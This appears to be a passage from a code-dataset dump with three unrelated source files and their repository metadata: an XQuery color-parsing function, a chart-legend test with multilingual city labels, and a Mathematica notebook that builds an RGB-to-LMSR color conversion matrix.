else if (matches($color, "^rgb\s*\(\s*\d+\s*,\s*\d+\s*,\s*\d+\s*\)$")) then
let $r-g-b := for $t in tokenize($color, "[rgb(),\s]")[.] return xs:integer($t)
return c:rgb($r-g-b[1] div 255, $r-g-b[2] div 255, $r-g-b[3] div 255)
else if (matches($color, "^hsl\s*\(\s*\d+\s*,\s*\d+\s*%\s*,\s*\d+\s*%\s\)$")) then
let $h-s-l := for $t in tokenize($color, "[hsl()%,\s]")[.] return xs:integer($t)
return c:rgb(c:hsl-to-rgb($h-s-l[1], $h-s-l[2] div 100, $h-s-l[3] div 100))
else
data($c:css3-colors[name = lower-case($color)]/@rgb)
};
| XQuery | 5 | bannmann/rr | src/main/resources/de/bottlecaps/railroad/xq/color.xq | [
"Apache-2.0"
] |
size: 2000px 2000px;
dpi: 320;
font-size: 14pt;
legend {
item {
label: "i北京市 (Beijing)";
color: #06c;
}
item {
label: "תל אביב (Tel Aviv)";
color: #c06;
}
item {
label: "القاهرة (Cairo)";
color: #c06;
}
item {
label: "Москва";
color: #60c;
}
item {
label: "New York City 🌭 🗽 🇺🇸";
color: #60c;
}
item {
label: "東京都 (Tokyo)";
color: #6c0;
}
item {
label: "서울 (Seoul)";
}
}
| CLIPS | 2 | asmuth-archive/travistest | test/legend/legend_i18n.clp | [
"Apache-2.0"
] |
(* Content-type: application/vnd.wolfram.mathematica *)
(*** Wolfram Notebook File ***)
(* http://www.wolfram.com/nb *)
(* CreatedBy='Mathematica 12.0' *)
(*CacheID: 234*)
(* Internal cache information:
NotebookFileLineBreakTest
NotebookFileLineBreakTest
NotebookDataPosition[ 158, 7]
NotebookDataLength[ 156459, 3144]
NotebookOptionsPosition[ 153357, 3079]
NotebookOutlinePosition[ 153696, 3094]
CellTagsIndexPosition[ 153653, 3091]
WindowFrame->Normal*)
(* Beginning of Notebook Content *)
Notebook[{
Cell[CellGroupData[{
Cell[TextData[{
StyleBox["RGB to LMSR\n", "Title"],
StyleBox["\nThis document computes a 4x3 matrix to convert linear RGB data \
in the Rec.709 color gamut to LMSR space. The data used in this notebook is \
from http://www.cvrl.org/.", "Text"]
}], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450461612177*^9,
3.8394505493534946`*^9}},ExpressionUUID->"5ae343b7-a2aa-48f4-98df-\
4a91ccee9af1"],
Cell[BoxData[{
RowBox[{"Clear", "[", "\"\<Global`*\>\"", "]"}], "\[IndentingNewLine]",
RowBox[{
RowBox[{"SetDirectory", "[",
RowBox[{"NotebookDirectory", "[", "]"}], "]"}], ";"}]}], "Input",
CellChangeTimes->{{3.839443871632057*^9, 3.839443897840395*^9}},
CellLabel->"In[20]:=",ExpressionUUID->"2dea625f-819d-4afb-9db6-1f9e0163fe66"]
}, Open ]],
Cell[CellGroupData[{
Cell[TextData[StyleBox["2-deg XYZ CMFs transformed from the CIE 2006 2-deg \
LMS cone fundamentals", "Section"]], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450617122533*^9,
3.839450633617247*^9}},ExpressionUUID->"5869e3ef-0bb9-4e92-a9a4-\
c3889973a035"],
Cell[CellGroupData[{
Cell[BoxData[{
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "x", ",", "y", ",", "z"}], "}"}], "=",
RowBox[{
RowBox[{"Import", "[", "\"\<data/lin2012xyz2e_1_7sf.csv\>\"", "]"}],
"\[Transpose]"}]}], ";"}], "\[IndentingNewLine]",
RowBox[{"ListLinePlot", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "x"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "y"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "z"}], "}"}], "\[Transpose]"}]}], "}"}], ",",
RowBox[{"PlotLegends", "\[Rule]",
RowBox[{"{",
RowBox[{"\"\<X\>\"", ",", "\"\<Y\>\"", ",", "\"\<Z\>\""}], "}"}]}], ",",
RowBox[{"Filling", "\[Rule]", "Axis"}], ",",
RowBox[{"PlotStyle", "\[Rule]",
RowBox[{"{",
RowBox[{"Red", ",", "Green", ",", "Blue"}], "}"}]}]}], "]"}]}], "Input",
CellChangeTimes->{{3.799635017508616*^9, 3.7996350175142593`*^9}, {
3.799693199593113*^9, 3.799693222600195*^9}, {3.7996932581163282`*^9,
3.799693315664568*^9}, {3.7996934305363903`*^9, 3.79969346876785*^9}, {
3.799698464577858*^9, 3.79969847157952*^9}, {3.8394430930955343`*^9,
3.839443130314807*^9}, 3.839443701484879*^9, {3.839443771328206*^9,
3.839443771388134*^9}, {3.839447119561327*^9, 3.839447122601915*^9},
3.839447253317464*^9, {3.83945041309626*^9, 3.839450413451779*^9}, {
3.839450517447301*^9, 3.839450527903515*^9}, {3.8394505591943007`*^9,
3.8394505766505833`*^9}, {3.839450632275118*^9, 3.839450636132414*^9}},
CellLabel->"In[22]:=",ExpressionUUID->"1c12d9cd-5350-47cb-b7fb-6f53ab47e334"],
Cell[BoxData[
TemplateBox[{GraphicsBox[{{},
GraphicsComplexBox[CompressedData["
1:eJztnPlbTf379jdC5q1CZNgRhZCh7swnQmRIpgxlI5RQ5j3vtdceRbedMbeh
bU5EyZA5c+ZtiETdRRGi7oQM5enz6drH97nX88P3D3h2vzheR6muda71fl/n
ud5dznMiAubV5PF4PerxeP/5978fQhF2rdv7SJu3ZPB/OVIE+6Qc183GZdXM
iBB/3b2k3fhV1WwU4WXuglpMuqSaTSIsbq3bMrQxU81JImSMG6AW/qGu5jQR
fo39FOv1WVfNZhGGfxib3GTq2mrOFeF+0aG1twcYq7lEhLilNcf37Luxmnli
zBxX8j7+yJZq5ovhOquVufXev6pZIIZ6b+389p3jqtlDjA9T+7Xb1XFPNUOM
7au/zdhSf381+4sxbaNTrbO+8dUsFCNwbUybmvmHqX4xekxsEh+WfYzqF6N3
YFjfxS2PU/1iND93aVl4xAmqX4zabttyvn44RfWLMeXnojtt1pyh+sVwN77X
jhl2nuoXY1WHVztutrhE9YuR1L7yvE3Ny1S/GAPiDvQvY69Q/RLM+8xu4zW6
RvVLcOB88s93f12n+iWYsb+2WN/xJtUvQZvar/uv25dO9Uswvf7HIYmNb1P9
Egzb/OXr0Jl3qH4Jlp4fE3x0/V2qX4LhTQNOpxy7R/VLsPOV6zW76/epfgm2
zreZF5L1gOqX4G5UafNpMjPVL8HxlWcHBjR+SPVL4DrZq+7cOGKzBPeLh18f
1fUR1S+B4Pro5kMSiUskmJhSd7rK+THVL0XB6sH2daKI+VJUSPuFpr0nFkgx
4/SOA118n1D9Umh3uYUMPUgMKco3BeiEDTKofilu5Ie+mxdBLJRi0ePejoo7
xJFSDJ/1JndQi6dUvxQNS8NsHo4iNkqR6vlnxcOZxCYpxvJXtmMmESdJ8aQt
zE7exGlSRE2d9sKhCbFZiilB7snPcunn5UoxM71Dasxx4hIpPI64O71liHky
PFy4IUwxgpgvw5zrNkbPSqpPIEPlwrBbg/Za6pfh8pLMU269LfXL8Hn0XvuJ
KXS9/GVIid/2e3cXYqEM+7d8Y4VxdP0jZTjTucewbi2IGRl6drG5N3QL6WeU
4bhWmra1DbFJhoDdzZaHJ1r0l6HlvKJ+9UcQp8kw4NkOt6MP6H4xy/A67mL9
zS7EuTJs7OOysVxF91eJDAs7L5T8lU33H0+OZWU7bV50I+bL8fTB12E3w+h+
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
DrX/6mqmfD5Ui3lN2u0a8ZTy+UgtDvoc2/DwO50/EmnRycCEnOpPeQmjxYVe
U7wzdlCeYtAieNByrbAN5fNGLWpf7fqyxgUV6a+FsVM332USSz6jxcBVlVGG
fQrSXwvl6bO+9izl80la7DrRfWCKnvKeVC1O7Z/VV5JE+XyaFtd0ggVby+m8
U3rVz+tvfuwYTPm8WYurqoi2q/+mfD5Ti+P5t4q6Symfz9ViS0jx5Ks9KH8q
1OLvJ6vf9PlG+VSJFk8mNnw+6Azl8+Va7JMPGX5iN+VZPB3U25dHt0+kfN5W
hzm/XnjqMin/4utQNM/xntp5Pumvw5cTWT9t9ZSXCXToOt6/Y1dbOj/lpkOP
zr+fZ++lfM2j6vPiI6pfgZTPe1d9/tCM4q1jKJ+HDgUHl5wudphJ+uuwsOPq
8RNtp5P+Olx5sKt1axfK8wJ1aDbQ6fiJeZTPC3Xo01f/U3ib8r9QHYZv+fHu
4DjK5yN1mL8zpsHwYsoLRTp08AnoH3yI8nlGB7vTD2L+KRtH+utQ+JyN63iZ
8kajDk03x/VvdnI06a9D/PTEIQ/uW/JJHUYfEc2Z2pDy+Xgdnk2YcPdIOOXz
STpUjmdz9rynfDO16v/XLP+wVEf5fJoOU6b9HLFsAOXz6Toc3REaOKI+5aNm
HV4sdfjjwIuBpL8OZ+ovVK68TXlqrg6m2gGrzmX3Jf11uB/qURJjR/l8iQ6l
U4ZIp8/3Iv2rft9ti+1OP6U8nqdHkPnOgKuze5P+ejDOcxMO16F8nq/HPEdn
9bFrlMc76vH184gFtzx7kP56xC0Zncbyu5H+etgYOvU/17wr6a9HX4eG6/XD
OpP+eow4tumRywbK46FHzwrbdLaS8nhfPaLuepZ10VIe76/HnrNvrrAdOpD+
ejTo9Dg+OpPyeKEek/kOThv2Uh4fqsfI/j38pHXbkf56HHPMfzm5hPJ4kR6n
9+8Uxf6mPP4/7xuynz8P6UV5vEGPpknOrgVayuONeoQf375a860Z6a+HXefb
foUayuNNVfW0HhaR15Xy+Hg92iruHPR/35T010Na4+cQn4uUx6fq8aDjmKU/
/CiPT9Pj4eWWcx8Npjw+XY/kVTMbrZhMebxZj4VhDb9MXEt5fKYeT9Wj+jXN
rUv667H08v4RgwIojy/U42DnxKKQXBvSX49+LuYttwyUx5dXXc/JkWvu+tYk
/Q3IHjrjVH6bGqS/Ac+/jDqZV5tH+hvw2qWX35mKikHV+hvwps73T28b/6pm
gQGX/TpOvjXoRzW7GSCe7jrCPrq8mj0MaFyzbI/H96/V7G1A0ALD8nHsl2qG
Ac0XL/nNdy2rZl8Dfn1fmR6fX1rN/gbwS+qnjUr9p5oDDbhyOL6hIa6kmoUG
1Pb45bXRo5hYhMa15b2l72k/iRRha+ygA9KLtB8xIiSOPtD7+hTaz4wiPHpz
QjEvnPJhkwhTN9R0X5JC+2eSCI6nlzxt/xftv2ki7HBcqjV5W/JWEW663mza
OYP2+1wRet3sc2dMHeofSkRYVOvMecEly/leMfzeBOZMbkL9C1+MAxP+qDNR
Tf2OQIxsj7SyI9Mt/ZMYkwasmZu6mfoviJHYb7boRX/L+X4xLjUfH7t2IvWD
QjEeK/hLnkVSPxkpRqQ5WD6gjPpPRgy3fR9EbIrlfLsYewbEnpl3hPpjkxjN
202upc6y5E1ijNqXfvKXE/XvaWJ8TZSaA3Op/zeLsW33mEo2lfxErhh/jh2Q
HLuH/EqJGGU7Dzmf20F+iCdBI8GzvGH7yG/xJbjVsH7f/cfJ3wkk2LC05+HW
l8hvekiwpLB1qdbiryHB0eKrQ4Y+sZxHk6BdWOSMGamW82cSRA+r6L4oms5X
RUogmDW0tn7qZ6pfgqhahd8qnMqofgkG+Bmb+ucRmyT4VKg80zzxC9UvqXo+
prb3l3+l+iVo/svrmmjsN6pfgtTACeowx3KqX4KAxvPthZnEJRJsLm65xmz4
TvVLMUJRwXdy/0H1SxGuXCAtu0EskMKDvTFmT/BPql+K7bVslpeVE0OKm6qp
d3Zu+0X1S5Hg83zG7b4VVL8U9w/+OXn0A+JIKQ4MHWDXY3wl1S/FJZ/zKysT
iY1SCI9ECJe9JjZJUZQTdc3mC3GSFJuf1AttX0ScJsXVzKFG9SNisxRjfr6p
fJ9MnCvFoct9GraLIS6R4lrRvBdh4cQ8GR6PncMP7EvMl2Hjq9f2xz/T7yuQ
4UdpzaK9G4k9ZGj0egk/sRkxZLh0tov/WpWlfhkY124zp+TR9RHKMPY/BQ4i
/s/fN1SU3oraTdeXkeGl6euM/k2JjTJMtfk949afpI9JhuZ9uiX3akWcJMNS
XsVFZQrpmSaDoP78MZenE5tlmKtYEnq7sUV/WfX5vlt0f5TIYHj2pcEqNTFP
juQ+JXtbeRHz5dh6/dqb11l0fwnkeP1jtfzNImIPORzbHzz29gPdj5Dj9IlW
dt8Cif3l0MrMKdNO0v0rrPr6B6bdyprEkXIE/bH//JShlvtfjpaVjxs5iCzn
KeVY1Xtvu0YH6fkxybG76vJMeETPV5IcL8f61R3x3ZJXyZFwretvvuW8qVmO
jlf713dOpnwnV47hnW/setXGct5VjnsJK1rn/0XPO08Bx5BORwq7UH7CV6Cb
qjjG7QHlHwIF8noFDfLVWvJjBWY6PWioH015BhT40Nnt587WtN74KzBh9aQP
Kd9pPRIqMPvS3dZ/5NF6FalAO2O/EsERyhsYBZamlaeEnaJ8waiAf9cti3SW
PMGkwICMG3L/AZQfJCkQalixps85ygvSFHjYYt2M5kGUD5gVmMVkdgtqTetp
